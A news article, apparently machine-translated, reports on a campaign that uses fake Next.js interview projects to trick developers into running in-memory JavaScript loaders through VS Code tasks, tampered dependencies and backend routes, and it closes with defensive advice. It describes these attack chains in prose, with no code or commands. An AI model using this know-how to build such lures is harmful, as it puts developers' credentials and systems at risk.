The campaign that transforms technical tests into back doors and runs code in memory in development environments

Developers have become a strategic target for malicious actors who seek not only to steal credentials, but to plant persistent access on machines with sensitive information. A recent Microsoft report describes a coordinated campaign that takes advantage of projects or false technical tests - mainly pretending to be Next.js projects or interview exercises - to induce developers to run code that then loads and runs scripts controlled by attackers. The final goal is very clear: to get remote execution of code in memory and, from there, to expand control without leaving traces on disk. You can read the Microsoft analysis here: Microsoft Defender Security Research.

The threat is based on the confidence that development teams place in everyday tools and flows. Three ways of execution, different in its activator but convergent in its result, were described by the researchers. In the first, a Visual Studio Code configuration file takes advantage of the workspace automation to invoke tasks when opening the project folder; the configuration uses a trigger that runs remote commands by entrusting the project, allowing you to download a logged charger on public platforms and run it hot.

The second vector is the one that happens during development: just launch the server with the classic development command - for example, npm run dev- to activate hidden code in modified JavaScript libraries that appear to be harmless dependencies, such as a minified file of jQuery. That malicious code downloads a loader from a staging domain (often Vercel) that then runs instructions directly in the Node.js. process

The third method is triggered when you start the application backend: seemingly legitimate modules or routes can contain logic that, when you start, sends the process environment (environment variables, for example) to an external server and runs the JavaScript response in memory. In all cases the same JavaScript payload makes a machine profile and regularly contacts an endpoint of registration to obtain a unique identifier ("instanceId") that serves to correlate and manage the session.

The technical importance of running code in memory is that it reduces the forensic print on disk and facilitates the delivery of a second stage that acts as a controller: a "stage 2" capable of running tasks on demand, discovering assets in the environment and exfiltering information. Microsoft stresses that the controller incorporates error telemetry, retry logic and ability to manage child processes - that is, it behaves as a well-designed remote access tool. More details in Microsoft's original report: technical report.

It is not only Vercel: attackers have also started using alternative stage servers to accommodate later stages. Abstract Security has documented a change in tactics towards the use of GitHub gists and URL shorters to hide the true origin of payloads. They also identified a malicious npm package called "slint-validator" that recovers an outspoken payload from Google Drive: that payload matches a JavaScript malware family known as BeaverTail.

In Windows, even more elaborate infection chains were observed: a VS Code task can launch a batch script that Node.js downloads if it is not present, uses native utilities as a certutile to decode embedded code blocks and, with the Node runtime, unfolds a malware in Python protected with PyArmor. Other analyses point to creative techniques of resilience: to inject code into NFT contracts in blockchains such as Polygon for the payload to recover from there, making it difficult to withdraw and increasing its availability.

Independent researchers such as Asgard Network have followed this activity and link it to tactics used in previous campaigns known for its sophistication. While Microsoft avoids attributing the campaign to a particular actor, the patterns match a family of operations that in the past have been related to North Korean groups under the label "Contagious Interview" in some public reports.

Collaboration platforms and public repositories have not been immune: GitLab reported the elimination of more than 100 accounts responsible for distributing malicious projects connected to this campaign. His intelligence team also found internal evidence that points to an organized structure behind these operations, with financial records and equipment performance control, suggesting sustained and economic benefit-oriented activity. More context in GitLab's analysis: GitLab Threat Intelligence.

For those working in development, this should sound the alarm: "technical test" repositories or interview templates are ideal vectors because they fit daily tasks. Run a local server, open a workspace or trust a default project may be enough to trigger a malicious execution chain. Legitimate tools and services that host external content (Vercel, Render, Railway, JSON Keeper, npoint.io, among others) have been reused by attackers to store and serve payloads.

The practical recommendations are not radical, but they do require discipline: to limit the privileges of development accounts, to segregate building and CI / CD environments from the development team, to apply strong authentication and conditional access, and to filter or audit the tasks and automations included in the projects before they are implemented. It is also appropriate to scan dependencies, avoid running third-party scripts without revision and not automatically rely on VS Code's trust prompts or on tasks with runOn configured to open folders.

In addition, companies and security officials should implement detection for Node.js processes that download and evaluate JavaScript in memory, monitor outgoing connections to public hosting services and use white lists where possible. Repository and platform providers are already taking action: account removal and coordination between security teams is part of the response. To understand the human dimension of the problem and how "employment" is exploited as bait, Okta's report offers an interesting perspective on how some false candidates pass controls and are used in these schemes: Okta analysis.

The message for the technical community is simple and urgent: do not lower your guard. The combination of social engineering with the automation of development flows turns a seemingly harmless Git project into an effective back door. Review tasks.json, audit dependencies and deal with suspicion any project that requests to run automatic commands when opening are measures that can stop these chains before they run their first payload in memory.

This campaign is a reminder that development security should include specific controls for daily flows and tools. It's not just about protecting servers in production: protecting the "client" - the developer's team - is just as critical when that client contains keys, tokens and access to infrastructure that can be pivoted in seconds. Maintaining good practice in the hygiene of credentials, segmentation and code review is now an essential defence.